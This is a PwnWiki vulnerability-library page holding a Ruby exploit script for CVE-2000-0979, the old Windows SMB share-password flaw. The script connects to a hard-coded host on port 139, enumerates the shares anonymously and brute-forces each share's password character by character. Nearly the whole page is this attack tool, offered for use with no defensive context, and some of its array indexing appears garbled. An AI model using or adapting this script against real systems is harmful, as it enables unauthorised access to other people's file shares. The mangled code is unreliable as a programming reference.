Loading
0

CVE-2000-0979密码共享漏洞

免费、自由、人人可编辑的漏洞库--PwnWiki.com

,

EXP

# this program will exploit CVE-2000-0979.
# Exploit was used by Share Password Checker
# http://www.securityfriday.com/tools/SPC.html
# and by WORM_OPASERV


#TODO convert to Metasploit

require 'socket'
require 'hexdump'
#Method: Rex::Text.to_hex_dump
#Defined in:
#            lib/rex/text.rb
#permalink .to_hex_dump(str, width = 16, base = nil) ⇒ Object

#require 'pp'

delay = 0.001

puts "Hello CVE-2000-0979"
hex = Hexdump::Dumper.new
RHOST = '192.168.1.113' #'127.0.0.1'
RPORT = 139

$debug = FALSE


socket = TCPSocket.open(RHOST, RPORT)
BUFFER_SIZE = 1000

def debug_puts(message)
  if $debug
    puts message
  end
end

def debug_hex_dump(hex,message)
  if $debug
    puts hex.dump(message)
  end
end

def sock_close(socket)
  debug_puts "Closing the Client..................."
  socket.close                    # Close the socket
end

#todo redo Object oriented
def update_tid(packet, tid)
  tid_arr = tid.unpack('C*')
  packet.map! { |val|
      if val == "tid0" then
        tid_arr0
      elsif val == "tid1" then
             tid_arr1
           else val
      end
  }
  return packet
end

def update_password(packet, nbs_length,length0, length1, byte_count0, byte_count1,password,
    share)

  new_packet = packet.map { |val|
    if val == "length0" then
      length0
    elsif val == "length1" then
      length1
    elsif val == "byte_count0" then
      byte_count0
    elsif val == "byte_count1" then
      byte_count1
    elsif val == "nbs_length" then
      nbs_length
    else val
    end

  }

  share_chars = share.chars.map {|val|
    val.ord
  }

  new_packet.insert(new_packet.find_index("share"),share_chars).flatten!
  new_packet.delete_at(new_packet.find_index("share"))

  new_packet.insert(new_packet.find_index("password"),password).flatten!
  new_packet.delete_at(new_packet.find_index("password"))

  return new_packet
end

def update_machine_name(packet,machine_name)
  packet.insert(packet.find_index("machine_name"),machine_name).flatten!
  packet.delete_at(packet.find_index("machine_name"))
  return packet
end

def send_and_receive(socket, packet)
  hex = Hexdump::Dumper.new

  debug_puts "\nFinal client data "
  debug_hex_dump(hex,packet.pack('C*').to_s)

  socket.send packet.pack('C*'),0
  response = socket.recvfrom(BUFFER_SIZE)

  debug_puts "\nServer response\n"
  debug_hex_dump(hex,response.first.to_s)

  return response
end



tree_disconnect_request = 0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42,
                           0x71, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00,
                           0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                           0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0xff, 0xfe,
                           0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00 

machine_name = 32.times.map{ 0x41 + Random.rand(6) }

session_request_def = 0x81, 0x00, 0x00, 0x44, 0x20, 0x45, 0x45, 0x45,
                       0x46, 0x45, 0x47, 0x45, 0x42, 0x46, 0x46, 0x45,
                       0x4d, 0x46, 0x45, 0x43, 0x41, 0x43, 0x41, 0x43,
                       0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 0x41, 0x43,
                       0x41, 0x43, 0x41, 0x43, 0x41, 0x00, 0x20,  "machine_name", 0x00

session_request_def = update_machine_name(session_request_def,machine_name)

neg_prot_req = 0x00, 0x00, 0x00, 0x2f, 0xff, 0x53, 0x4d, 0x42,
                0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xc8,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xfe,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x02, 0x4e, 0x54,
                0x20, 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32,
                0x00

sess_setup_andx_req = 0x00, 0x00, 0x00, 0x9d, 0xff, 0x53, 0x4d, 0x42,
                       0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00,
                       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xfe,
                       0x00, 0x00, 0x04, 0x00, 0x0d, 0x75, 0x00, 0x74,
                       0x00, 0x68, 0x0b, 0x02, 0x00, 0x00, 0x00, 0x09,
                       0x06, 0x03, 0x80, 0x01, 0x00, 0x01, 0x00, 0x00,
                       0x00, 0x00, 0x00, 0xd4, 0x00, 0x00, 0x00, 0x37,
                       0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x69, 0x6e,
                       0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 0x30, 0x30,
                       0x30, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63,
                       0x65, 0x20, 0x50, 0x61, 0x63, 0x6b, 0x20, 0x33,
                       0x20, 0x32, 0x36, 0x30, 0x30, 0x00, 0x57, 0x69,
                       0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 0x30,
                       0x30, 0x30, 0x20, 0x35, 0x2e, 0x31, 0x00, 0x00,
                       0x04, 0xff, 0x00, 0x9d, 0x00, 0x08, 0x00, 0x01,
                       0x00, 0x1e, 0x00, 0x00, 0x5c, 0x5c, 0x31, 0x39,
                       0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x31, 0x32,
                       0x32, 0x2e, 0x31, 0x34, 0x31, 0x5c, 0x49, 0x50,
                       0x43, 0x24, 0x00, 0x3f, 0x3f, 0x3f, 0x3f, 0x3f,
                       0x00 

netshareenum_request = 0x00, 0x00, 0x00, 0x63, 0xff, 0x53, 0x4d, 0x42,
                       0x25, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00,
                       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                       0x00, 0x00, 0x00, 0x00, "tid0", "tid1", 0xff, 0xfe,
                       0x00, 0x00, 0x14, 0x00, 0x0e, 0x13, 0x00, 0x00,
                       0x00, 0x08, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
                       0x00, 0x88, 0x13, 0x00, 0x00, 0x00, 0x00, 0x13,
                       0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                       0x00, 0x24, 0x00, 0x5c, 0x50, 0x49, 0x50, 0x45,
                       0x5c, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x00,
                       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x72,
                       0x4c, 0x65, 0x68, 0x00, 0x42, 0x31, 0x33, 0x42,
                       0x57, 0x7a, 0x00, 0x01, 0x00, 0x00, 0x10

sess_setup_andx_req_anon = 0x00, 0x00, 0x00, 0x60, 0xff, 0x53, 0x4d, 0x42,
                            0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01,
                            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0b,
                            0x00, 0x00, 0x01, 0x00, 0x0a, 0xff, 0x00, 0x00,
                            0x00, 0x68, 0x0b, 0x02, 0x00, 0x01, 0x00, 0x0a,
                            0x06, 0x02, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00,
                            0x00, 0x29, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00,
                            0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20,
                            0x32, 0x30, 0x30, 0x30, 0x20, 0x32, 0x31, 0x39,
                            0x35, 0x00, 0x00, 0x57, 0x69, 0x6e, 0x64, 0x6f,
                            0x77, 0x73, 0x20, 0x32, 0x30, 0x30, 0x30, 0x20,
                            0x35, 0x2e, 0x30, 0x00

tree_connect_request_path_password = 0x00, 0x00, 0x00, "nbs_length", 0xff, 0x53, 0x4d, 0x42,
                                      0x75, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01,
                                      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                                      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0b,
                                      0x00, 0x00, 0x01, 0x00, 0x04, 0xff, 0x00, 0x00,
                                      0x00, 0x00, 0x00,
                                      "length0", "length1", "byte_count0", "byte_count1","password",
                                      "share", 0x00, 0x3f, 0x3f, 0x3f, 0x3f, 0x3f, 0x00

tree_disconnect = 0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42,
                   0x71, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01,
                   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                   0x00, 0x00, 0x00, 0x00, "tid0", "tid1", 0xc0, 0x0b,
                   0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00

myhash = {}

@client_packets = { "tree_disconnect_request" => tree_disconnect_request},
                  {"close1" => "close"},
                  {"session_request_def" => session_request_def},
                  {"neg_prot_req" => neg_prot_req},
                  {"sess_setup_andx_req" => sess_setup_andx_req},
                  {"netshareenum_request" => netshareenum_request},
                  {"close3" => "close"},
                  {"session_request_2" => session_request_def},
                  {"neg_prot_req_2" => neg_prot_req},
                  {"sess_setup_andx_req_anon" => sess_setup_andx_req_anon}
                   

i = 0
tid = 0
length0, length1, byte_count0, byte_count1,password, share = 0
shares = Array.new

@client_packets.each_with_index { |val, idx|
  begin
    if valval.keys0.to_s == "close" and socket then
      sock_close(socket)  #close
      debug_puts "Opening socket again"
      socket = TCPSocket.open(RHOST, RPORT) #open new
      next
    elsif  !socket
      debug_puts "Opening socket again"
      socket = TCPSocket.open(RHOST, RPORT) #open new
      next
    end

    if  'netshareenum_request'.include? val.keys0 then

      #update TID in packets
      packet = update_tid(valval.keys0, tid)
      debug_puts "Packet updated"

    else
      packet = valval.keys0
    end

    debug_puts "\nclient data\n"
    debug_puts val.keys0
    response = send_and_receive(socket,packet)

    if val.keys0 == "sess_setup_andx_req" then
      tid = response.first28..29
      debug_puts "New tree ID TID !!!!!"
      debug_hex_dump(hex,tid)
    end

    if val.keys0 == "session_request_def" then
      session_response = response.first0
      if (session_response.ord != 0x82) then
        puts "Session response is not positive! Exiting."
        exit(0)
      end
    end

    if val.keys0 == "neg_prot_req" then
      error_class = response.first9
      if (error_class.ord != 0x0) then
        puts "Error in negotiation! Exiting."
        exit(0)
      end
    end

    if val.keys0 == "netshareenum_request" then
      num_of_shares = response.first65..66.unpack('cc').first
      print "Number of shares: "
      puts num_of_shares
      puts "Share names: "
      num_of_shares.times do |n|
        offset = (n * 20) + 68
        share_name = response.firstoffset..offset+15
        shares.push(share_name)
        puts "\t" + share_name
      end

    end

  rescue IOError, SocketError, SystemCallError => e
    puts e.message
    puts e.backtrace.inspect
    exit(-1)
  end
}


#Start brute-forcing the password
shares.each { |share|
  next_share = FALSE
  share = share.delete("\000")
  #puts  share.length

  nbs_length = 0x33 + share.length
  length0 = 0x01
  length1 = 0x00
  byte_count0 = 0x08 + share.length
  byte_count1 = 0x00
  password = 0x20   #TODO skip lowercase letters

  puts "Brute-forcing password for share: " + share

  while true
    begin

      packet = update_password(tree_connect_request_path_password,nbs_length, length0, length1,
                               byte_count0, byte_count1,password,share)
      debug_puts "Packet updated"
      response = send_and_receive(socket,packet)

      if ((response.first9.unpack('C') +
          response.first10.unpack('C') +
          response.first11.unpack('C') +
          response.first12.unpack('C'))0 == 0) then

        debug_puts 'Auth success, trying next char'

        if (password0 ==0x20 and password1==0x20)
          puts "Empty password works!\n\n"
          next_share=TRUE
          break
        end

        length0 = length0 + 1
        nbs_length = nbs_length + 1
        byte_count0 = byte_count0 + 1

        password.push(0x20)

        tid = response.first28..29
        debug_puts "New tree ID TID !"
        debug_hex_dump(hex,tid)


        packet = update_tid(tree_disconnect, tid)
        response = send_and_receive(socket,tree_disconnect)

      else
        passwordlength0-1 = passwordlength0-1 + 1

        password.each { |val|
          print val.chr()

        }
        print "\r"

        sleep(delay)

        if (passwordlength0-1 > 128)  then
          password.each { |val|
            if (val < 128) then
              print val.chr()
            end
          }

          #TODO check for 0 length password
          if length0 > 1
            puts "\n"+'<- No more char to try, this should be your password, yikes :) '+"\n\n"
          else
            puts "Password not found :("+"\n\n"
          end

          next_share=TRUE
        end
      end

    rescue IOError, SocketError, SystemCallError => e
      puts e.message
      puts e.backtrace.inspect
      exit(-1)
    end

    if (next_share)   #moving on to the next share
      break
    end
  end

}

sock_close(socket)

免费、自由、人人可编辑的漏洞库